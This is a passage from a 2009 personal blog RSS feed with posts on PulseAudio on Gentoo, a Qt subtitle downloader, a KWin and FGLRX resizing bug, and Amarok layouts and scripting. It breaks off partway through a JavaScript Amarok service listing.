			<wfw:commentRss>http://blog.zx2c4.com/190/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>PulseAudio Foray</title>
		<link>http://blog.zx2c4.com/188</link>
		<comments>http://blog.zx2c4.com/188#comments</comments>
		<pubDate>Fri, 28 Aug 2009 19:03:03 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[PulseAudio]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=188</guid>
		<description><![CDATA[I&#8217;ve taken then plunge: I just installed PulseAudio (PA) and related tools (on Gentoo). A lot of users are vehemently anti, stating numerous complications and bugs, but its potential advantages for networked audio are attractive. Evidently KMix is supposed to support PA, but it still only shows the alsa devices. I suspect this is related [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/188#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=188" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve taken then plunge: I just installed PulseAudio (PA) and related tools (on <a href="http://en.gentoo-wiki.com/wiki/PulseAudio" onclick="pageTracker._trackPageview('/outgoing/en.gentoo-wiki.com/wiki/PulseAudio?referer=');">Gentoo</a>). A lot of users are vehemently anti, stating numerous complications and bugs, but its potential advantages for networked audio are attractive.</p>
<p>Evidently KMix is supposed to support PA, but it still only shows the alsa devices. I suspect this is related to when PA is loaded, and currently I do not have any user-space loader. What&#8217;s the optimal way for this to happen in KDE? An autostart entry? Symlinking some mysterious file to kde&#8217;s env directory? All the forum posts are for older KDE versions. Phonon works so far though. All the PA apps are GTK/GConf based, and aren&#8217;t very KDE friendly, and generally it seems like KDE has neglected PA support, or PA has neglected KDE support. They simply aren&#8217;t very pretty together. What are the plans for integrating KDE and PA a little bit more closely?</p>
<p>I&#8217;m using a Macbook as a print server, printing to it from my Linux box, and everything is simple because they both use CUPS. However, I&#8217;m having a bit of trouble streaming audio to it. I can&#8217;t seem to build PA on OSX, and I don&#8217;t even think OSX is officially supported by PA. <a href="http://community.livejournal.com/evan_tech/241887.html" onclick="pageTracker._trackPageview('/outgoing/community.livejournal.com/evan_tech/241887.html?referer=');">I tried installing ESD using MacPorts and using PA&#8217;s bridge for that</a>, but it played a half a second of sound before skipping. ESD doesn&#8217;t do good latency calculations. PA supports streaming to Airport Express, so I thought I&#8217;d try out Airfoil Speakers, but unfortunately, <a href="http://getsatisfaction.com/rogueamoeba/topics/native_implementation_in_pulseaudio" onclick="pageTracker._trackPageview('/outgoing/getsatisfaction.com/rogueamoeba/topics/native_implementation_in_pulseaudio?referer=');">Airfoil uses a different protocol</a>. So I&#8217;m not sure what to do now&#8230; How do I send PA to my Macbook?</p>
<p>PA also doesn&#8217;t work well with Skype, and I anticipate some other problems as well. What a hassle. Why the bad integration with KDE? Why the numerous bugs? Any PA tips from veteran readers?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/188#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=188" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/188/feed</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Subtitler in Qt</title>
		<link>http://blog.zx2c4.com/179</link>
		<comments>http://blog.zx2c4.com/179#comments</comments>
		<pubDate>Thu, 13 Aug 2009 18:29:43 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[AnyClip]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=179</guid>
		<description><![CDATA[A certain company needed a way to easily get text-based subtitle files in a batch fashion. The DVDs were available for ripping such subtitles, but the necessary OCR work proved too time-consuming and cumbersome, even with solutions like SubRip. So, I figured that 1000s of individuals on the Internet already gladly spend their days OCRing [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/179#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=179" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>A certain company needed a way to easily get text-based subtitle files in a batch fashion. The DVDs were available for ripping such subtitles, but the necessary OCR work proved too time-consuming and cumbersome, even with solutions like SubRip. So, I figured that 1000s of individuals on the Internet already gladly spend their days OCRing DVD subtitles into text formats, and sure enough databases like <a href="http://subscene.com" target="_blank" onclick="pageTracker._trackPageview('/outgoing/subscene.com?referer=');">Subscene</a> exist. So, I built a program to wrap Subscene&#8217;s web interface, and what better way to do this is there than <a href="http://doc.trolltech.com/qtwebkit.html" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/qtwebkit.html?referer=');">QtWebKit</a>?</p>
<p><a href="http://blog.zx2c4.com/wp-content/uploads/2009/08/subtitler1.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/08/subtitler1-450x374.jpg" alt="Subtitler&#039;s Subscene Interface" title="Subtitler&#039;s Subscene Interface" width="450" height="374" class="aligncenter size-medium wp-image-180" /></a></p>
<p>I capture the downloads by using QtWebKit&#8217;s <a href="http://doc.trolltech.com/qwebpage.html#unsupportedContent" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/qwebpage.html_unsupportedContent?referer=');">unsupportedContent</a> signal and parse the downloads by using QNetworkAccessManager&#8217;s <a href="http://doc.trolltech.com/qnetworkaccessmanager.html#finished" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/qnetworkaccessmanager.html_finished?referer=');">finished</a> signal. I then run the zip archive through <a href="http://doc.trolltech.com/solutions/4/qtiocompressor/qtiocompressor.html" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/solutions/4/qtiocompressor/qtiocompressor.html?referer=');">QtIOCompressor</a>&#8216;s code for unzipping zips, then extract and parse the subtitles. </p>
<p>A significant issue is that a lot of the subtitles on Subscene are from torrents that have videos which are cut off at the beginning. The solution is to shift each subtitle in the file by a constant time interval if neccessary, so I built an interface to easily see and shift timing:</p>
<p><a href="http://blog.zx2c4.com/wp-content/uploads/2009/08/subtitler2.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/08/subtitler2-450x374.jpg" alt="Subtitler&#039;s Preview Interface" title="Subtitler&#039;s Preview Interface" width="450" height="374" class="aligncenter size-medium wp-image-181" /></a></p>
<p>As you can see, it&#8217;s possible to shift all the subtitles. Phonon made this page a breeze. One significant challenge was writing a search algorithm that would find the correct Subtitle based on a time falling in a certain range. It needed to be super speedy and designed for sequential searches. I came up with the following, which could use a bit of improvement:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="code"><pre class="cpp-qt" style="font-family:monospace;"><span style="color: #22aadd;">QString</span> SubtitleParser<span style="color: #006E28;">::</span><span style="color: #2B74C7;">subtitleAtTime</span><span style="color: #006E28;">&#40;</span>quint64 <span style="color: #2B74C7;">time</span><span style="color: #006E28;">&#41;</span>
<span style="color: #006E28;">&#123;</span>
	<span style="color: #22aadd;">QLinkedList</span><span style="color: #006E28;">&lt;</span>Subtitle<span style="color: #006E28;">&gt;::</span><span style="color: #2B74C7;">const_iterator</span> i<span style="color: #006E28;">;</span>
	<span style="color: #0057AE;">bool</span> forward <span style="color: #006E28;">=</span> true<span style="color: #006E28;">;</span>
	<span style="color: #000000; font-weight:bold;">for</span> <span style="color: #006E28;">&#40;</span>i <span style="color: #006E28;">=</span> m_searchPosition<span style="color: #006E28;">;</span> i <span style="color: #006E28;">!=</span> m_subtitles.<span style="color: #2B74C7;">constEnd</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span> <span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
		<span style="color: #000000; font-weight:bold;">if</span> <span style="color: #006E28;">&#40;</span>i<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">isContainedIn</span><span style="color: #006E28;">&#40;</span><span style="color: #2B74C7;">time</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
			m_searchPosition <span style="color: #006E28;">=</span> i<span style="color: #006E28;">;</span>
			<span style="color: #000000; font-weight:bold;">return</span> i<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">text</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
		<span style="color: #006E28;">&#125;</span>
		<span style="color: #000000; font-weight:bold;">if</span> <span style="color: #006E28;">&#40;</span>i<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">isAfter</span><span style="color: #006E28;">&#40;</span><span style="color: #2B74C7;">time</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
			<span style="color: #000000; font-weight:bold;">if</span> <span style="color: #006E28;">&#40;</span>i <span style="color: #006E28;">==</span> m_subtitles.<span style="color: #2B74C7;">constBegin</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span>
				break<span style="color: #006E28;">;</span>
			<span style="color: #006E28;">--</span>i<span style="color: #006E28;">;</span>
			forward <span style="color: #006E28;">=</span> false<span style="color: #006E28;">;</span>
		<span style="color: #006E28;">&#125;</span> <span style="color: #000000; font-weight:bold;">else</span> <span style="color: #006E28;">&#123;</span>
			<span style="color: #000000; font-weight:bold;">if</span> <span style="color: #006E28;">&#40;</span><span style="color: #006E28;">!</span>forward<span style="color: #006E28;">&#41;</span>
				break<span style="color: #006E28;">;</span>
			<span style="color: #006E28;">++</span>i<span style="color: #006E28;">;</span>
		<span style="color: #006E28;">&#125;</span>
	<span style="color: #006E28;">&#125;</span>
	<span style="color: #000000; font-weight:bold;">return</span> <span style="color: #22aadd;">QString</span><span style="color: #006E28;">&#40;</span><span style="color: #BF0303;">' '</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
<span style="color: #006E28;">&#125;</span></pre></td></tr></table></div>

<p>Another challenge was dealing with <a href="http://doc.trolltech.com/qwizard.html" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/qwizard.html?referer=');">QWizard</a> and <a href="http://doc.trolltech.com/qwizardpage.html" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/qwizardpage.html?referer=');">QWizardPage</a>, particularly issues with <a href="http://doc.trolltech.com/4.5/qwizardpage.html#registerField" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/4.5/qwizardpage.html_registerField?referer=');">fields</a> and custom buttons. The field/property system is just too cumbersome to work with; there ought to be a better way of establishing centralized data with straight up pointers. The buttons on QWizard all want to be global, so adding a custom button to a single page proved a bit hackish. It&#8217;s a cool API, but just a little bit limiting. If anyone has some suggestions, let me know.</p>
<p><strong>As always, the code is available on <a href="http://git.zx2c4.com/?p=subtitler.git;a=tree" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=subtitler.git_a=tree&amp;referer=');">my gitweb</a>, and I encourage you to try it out, read the code, and send me suggestions in the comments below.</strong></p>
<p>Though this was designed to work on Linux, Qt, being delightfully cross-platform, also makes it possible to run the Subtitler on OSX. Check out the OSX screencast:<br />
<object width="445" height="364"><param name="movie" value="http://www.youtube-nocookie.com/v/z7uib2DsoUw&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/z7uib2DsoUw&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="445" height="364"></embed></object><br />
<a href="http://www.youtube.com/watch?v=z7uib2DsoUw" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=z7uib2DsoUw&amp;referer=');">Direct YouTube Link</a></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/179#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=179" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/179/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Slow Window Resizing with KWin Compositing on FGLRX</title>
		<link>http://blog.zx2c4.com/169</link>
		<comments>http://blog.zx2c4.com/169#comments</comments>
		<pubDate>Mon, 03 Aug 2009 03:20:56 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ATI]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[KWin]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=169</guid>
		<description><![CDATA[Update: check out this solution. Amongst users of the proprietary ATI driver (FGLRX), it&#8217;s a well known problem that KDE4&#8242;s KWin&#8217;s desktop effects are unusable due to turtle slow window resizing. Unfortunately, bug reports and forum posts fail to come up with a clear answer as to why this happens, who is responsibility for fixing [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/169#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=169" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><b>Update</b>: check out <a href="http://blog.zx2c4.com/190">this solution</a>.</p>
<p>Amongst users of the proprietary ATI driver (FGLRX), it&#8217;s a well known problem that KDE4&#8242;s KWin&#8217;s desktop effects are unusable due to turtle slow window resizing. Unfortunately, bug reports and forum posts fail to come up with a clear answer as to why this happens, who is responsibility for fixing it, and which parts of the stack need to adapt for the bug. If you&#8217;re not already familiar with the problem, observe:</p>
<p><object width="445" height="364"><param name="movie" value="http://www.youtube-nocookie.com/v/UCUBMRCoXVI&#038;hl=en&#038;fs=1&#038;rel=0&#038;color1=0x234900&#038;color2=0x4e9e00&#038;border=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/UCUBMRCoXVI&#038;hl=en&#038;fs=1&#038;rel=0&#038;color1=0x234900&#038;color2=0x4e9e00&#038;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="445" height="364"></embed></object><br />
<a href="http://www.youtube.com/watch?v=UCUBMRCoXVI" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=UCUBMRCoXVI&amp;referer=');">Direct YouTube Link</a></p>
<p>As you can see, the three second delay in window resizing, maximizing, and (perhaps) restoring makes compositing-enabled KWin unusable. Note that the problem still persists when disabling the &#8220;show window content while resizing&#8221; option.</p>
<p>It&#8217;s been particularly difficult to track down the route of this problem and who should be fixing it. From <a href="http://www.phoronix.com/forums/showthread.php?t=15163" onclick="pageTracker._trackPageview('/outgoing/www.phoronix.com/forums/showthread.php?t=15163&amp;referer=');">a lengthy discussion on Phoronix&#8217;s Forums</a>, ATI&#8217;s &#8220;Bridgman&#8221; user acknowledges the problem but claims &#8220;It&#8217;s not a driver issue AFAIK, so not sure why we would mention it in the release notes.&#8221; He goes on to indicate that the problem was introduced during a hack to ensure KWin compatibility on Intel cards, to work around a glitch with garbage appearing on the screen, and a lengthy debate over the &#8220;107_fedora_dont_backfill_bg_none.patch&#8221; patch. Somewhere the stack was patched to support Intel cards at the expense of ATI cards, according to ATI&#8217;s &#8220;Bridgman&#8221;. </p>
<p>Over on the KDE bugzilla, we&#8217;re met with a <a href="http://bugs.kde.org/show_bug.cgi?id=165011#c14" onclick="pageTracker._trackPageview('/outgoing/bugs.kde.org/show_bug.cgi?id=165011_c14&amp;referer=');">curt response from the KWin team</a>: &#8220;Driver bug then.&#8221; The bug is marked as &#8220;RESOLVED&#8221; and &#8220;UPSTREAM&#8221;.</p>
<p>And elsewhere on the Internet, we get a helpless string of &#8220;still not fixed&#8221; messages, over on the <a href="http://ati.cchtml.com/show_bug.cgi?id=1426" onclick="pageTracker._trackPageview('/outgoing/ati.cchtml.com/show_bug.cgi?id=1426&amp;referer=');">unofficial FGLRX bugzilla</a>, <a href="http://www.phoronix.com/forums/showthread.php?t=14848" onclick="pageTracker._trackPageview('/outgoing/www.phoronix.com/forums/showthread.php?t=14848&amp;referer=');">other Phoronix forum posts</a>, and <a href="http://bbs.archlinux.org/viewtopic.php?id=59315" onclick="pageTracker._trackPageview('/outgoing/bbs.archlinux.org/viewtopic.php?id=59315&amp;referer=');">distro forums</a>.</p>
<p>So I ask my readers: who is responsible for this bug and how will it be fixed? If indeed it is neither FGLRX nor KWin and the problem exists in XOrg, why has XOrg been patched to support Intel cards at the expense of ATI cards? Is there anything FGLRX or KWin could be doing to mitigate the problem? Potential workarounds? Users have complained of this problem for over a year now perhaps, but not once has leadership from anywhere offered a compelling explanation or plan for the future. What to do?</p>
<p><a href="http://blog.zx2c4.com/169#respond">Leave comments</a>. The current discussion seems to be fruitful.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/169#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=169" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/169/feed</wfw:commentRss>
		<slash:comments>47</slash:comments>
		</item>
		<item>
		<title>AnyClip for Boxee</title>
		<link>http://blog.zx2c4.com/163</link>
		<comments>http://blog.zx2c4.com/163#comments</comments>
		<pubDate>Tue, 16 Jun 2009 23:22:46 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[AnyClip]]></category>
		<category><![CDATA[Boxee]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=163</guid>
		<description><![CDATA[I&#8217;ve been working for AnyClip on a Boxee application. Corporate explanation: AnyClip will launch later this year as a comprehensive library of legally-licensed scenes from Hollywood movies. While we’re still in active negotiations with the rights holders of the films, this preview-only Boxee application begins to show the potential behind tying such a powerful platform [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/163#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=163" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been working for <a href="http://www.anyclip.com" onclick="pageTracker._trackPageview('/outgoing/www.anyclip.com?referer=');">AnyClip</a> on a <a href="http://www.boxee.tv" onclick="pageTracker._trackPageview('/outgoing/www.boxee.tv?referer=');">Boxee</a> <a href="http://blog.boxee.tv/2009/06/15/anyclip-on-boxee/" onclick="pageTracker._trackPageview('/outgoing/blog.boxee.tv/2009/06/15/anyclip-on-boxee/?referer=');">application</a>. Corporate explanation:</p>
<blockquote><p>AnyClip will launch later this year as a comprehensive library of legally-licensed scenes from Hollywood movies. While we’re still in active negotiations with the rights holders of the films, this preview-only Boxee application begins to show the potential behind tying such a powerful platform to applications like Boxee. Ultimately, applications like AnyClip for Boxee will enable people to relive any moment, from any film, on any platform.</p></blockquote>
<p>I submitted it to the Boxee <a href="http://blog.boxee.tv/2009/06/15/vote-for-your-favorite-apps-rsvp-for-the-boxee-event-in-sf/" onclick="pageTracker._trackPageview('/outgoing/blog.boxee.tv/2009/06/15/vote-for-your-favorite-apps-rsvp-for-the-boxee-event-in-sf/?referer=');">Dev Challenge</a>, and polls are open for voting. <b>Please vote for AnyClip <a href="http://poll.fm/10ma7" onclick="pageTracker._trackPageview('/outgoing/poll.fm/10ma7?referer=');">here</a></b>.</p>
<p><a href="http://blog.zx2c4.com/wp-content/uploads/2009/06/AnyClipBoxeeApp.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/06/AnyClipBoxeeApp-450x281.png" alt="AnyClip for Boxee" title="AnyClip for Boxee" width="450" height="281" class="aligncenter size-medium wp-image-164" /></a></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/163#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=163" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/163/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Alternate Amarok 2.1 Layouts</title>
		<link>http://blog.zx2c4.com/153</link>
		<comments>http://blog.zx2c4.com/153#comments</comments>
		<pubDate>Mon, 13 Apr 2009 21:18:31 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Amarok]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=153</guid>
		<description><![CDATA[For those of you who long for the old Amarok 1.4 two-column layout, it is now possible to sort of simulate this behavior in Amarok 2.1 by careful dragging of splitters and customization of the playlist: It is also (nearly) possible to emulate the layout of Juk, iTunes, Banshee, or Rhythmbox:<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/153#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=153" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>For those of you who long for the old Amarok 1.4 two-column layout, it is now possible to sort of simulate this behavior in Amarok 2.1 by careful dragging of splitters and customization of the playlist:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/04/old-amarok-layout.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/04/old-amarok-layout-450x288.png" alt="Layout of Amarok 1.4 with Amarok 2" title="Layout of Amarok 1.4 with Amarok 2" width="450" height="288" class="aligncenter size-medium wp-image-155" /></a></p>
<p>It is also (nearly) possible to emulate the layout of Juk, iTunes, Banshee, or Rhythmbox:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/04/amarok-itunes-layout.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/04/amarok-itunes-layout-450x306.png" alt="Amarok 2 Can Look Like Juk, iTunes, Banshee, or Rhythmbox... sort of" title="Amarok 2 Can Look Like Juk, iTunes, Banshee, or Rhythmbox... sort of" width="450" height="306" class="aligncenter size-medium wp-image-154" /></a></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/153#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=153" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/153/feed</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Amarok Scriptable Service for ZX2C4 Music</title>
		<link>http://blog.zx2c4.com/125</link>
		<comments>http://blog.zx2c4.com/125#comments</comments>
		<pubDate>Mon, 13 Apr 2009 03:40:14 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Amarok]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[ZX2C4 Music]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=125</guid>
		<description><![CDATA[As promised, I&#8217;ve written in under 100 lines of JavaScript (QtScript) a service for Amarok that plugs into ZX2C4 Music (ReadMe for ZX2C4 Music, Source for ZX2C4 Music). Obligatory screenshot: The Amarok scripting API is very slick, especially the scripted services API. It is not now configurable and is rather inefficient because getlisting.php does not [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/125#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=125" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>As promised, I&#8217;ve written in under 100 lines of JavaScript (<a href="http://doc.trolltech.com/qtscript.html" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/qtscript.html?referer=');">QtScript</a>) a service for <a href="http://amarok.kde.org" onclick="pageTracker._trackPageview('/outgoing/amarok.kde.org?referer=');">Amarok</a> that plugs into <a href="http://blog.zx2c4.com/14">ZX2C4 Music</a> (<a href="http://git.zx2c4.com/?p=zx2c4music.git;a=blob;f=README.txt" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git_a=blob_f=README.txt&amp;referer=');">ReadMe for ZX2C4 Music</a>, <a href="http://git.zx2c4.com/?p=zx2c4music.git;a=snapshot;h=HEAD;sf=tgz" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git_a=snapshot_h=HEAD_sf=tgz&amp;referer=');">Source for ZX2C4 Music</a>). Obligatory screenshot:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2009/04/amarok-scriptable-service.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2009/04/amarok-scriptable-service-450x300.jpg" alt="Amarok Scriptable Service for ZX2C4 Music" title="Amarok Scriptable Service for ZX2C4 Music" width="450" height="300" class="aligncenter size-medium wp-image-130" /></a><br />
The Amarok <a href="http://amarok.kde.org/wiki/Development/Scripting_HowTo_2.0" onclick="pageTracker._trackPageview('/outgoing/amarok.kde.org/wiki/Development/Scripting_HowTo_2.0?referer=');">scripting API</a> is very slick, especially the <a href="http://amarok.kde.org/wiki/Development/Scripted_Services_Tutorial_2.0" onclick="pageTracker._trackPageview('/outgoing/amarok.kde.org/wiki/Development/Scripted_Services_Tutorial_2.0?referer=');">scripted services API</a>.</p>
<p>It is not now configurable and is rather inefficient because getlisting.php does not support very complex queries (though I do take advantage of its sorting on lines 54-57), but this will be changed by the time I release an installable version of the script. Currently, it downloads a listing of the entire collection during the first request (lines 27-33), and then just reads from an in-memory database (multidimensional array) to query the different levels (lines 34-95). TMI: too much iteration.</p>
<p>Unfortunately there are some kinks, as Phonon often has trouble playing URLs and does not always show buffering information correctly (both gstreamer and xine backends). Look at <a href="http://git.zx2c4.com/?p=zx2c4music.git;a=blob;f=getsong.php#l65" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git_a=blob_f=getsong.php_l65&amp;referer=');">lines 65 and below of getsong.php</a>: this should be a working HTTP streaming implementation, but Phonon doesn&#8217;t dig it, for whatever reason. Any pointers here? The same issue crops up in the <a href="http://music.zx2c4.com/desktop/" onclick="pageTracker._trackPageview('/outgoing/music.zx2c4.com/desktop/?referer=');">standalone qt player</a> for ZX2C4 Music. Strange. Also, I use <a href="http://doc.trolltech.com/qtextdocument.html" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/qtextdocument.html?referer=');">QTextDocument</a> to convert HTML entities back to normal text (lines 14-22), but it&#8217;s very slow. Is there a better way to be doing this? Finally, callbackData (line 73) refuses to store an array, which means I have to use a nasty splitter; this is a bug presumably. </p>
<p>For the ZX2C4 Music hackers out there, here&#8217;s the source code to play with:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">Importer.<span style="color: #660066;">loadQtBinding</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;qt.core&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
Importer.<span style="color: #660066;">loadQtBinding</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;qt.network&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
Importer.<span style="color: #660066;">loadQtBinding</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;qt.gui&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> ZX2C4Music<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	ScriptableServiceScript.<span style="color: #660066;">call</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;ZX2C4 Music&quot;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">3</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;Browse ZX2C4 Music&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;The entire ZX2C4 collection, at your finger tips.&quot;</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">var</span> songs <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> delayedArgs <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">function</span> receiveDatabase<span style="color: #009900;">&#40;</span>reply<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	songs <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span>reply<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> decoder <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> QTextDocument<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
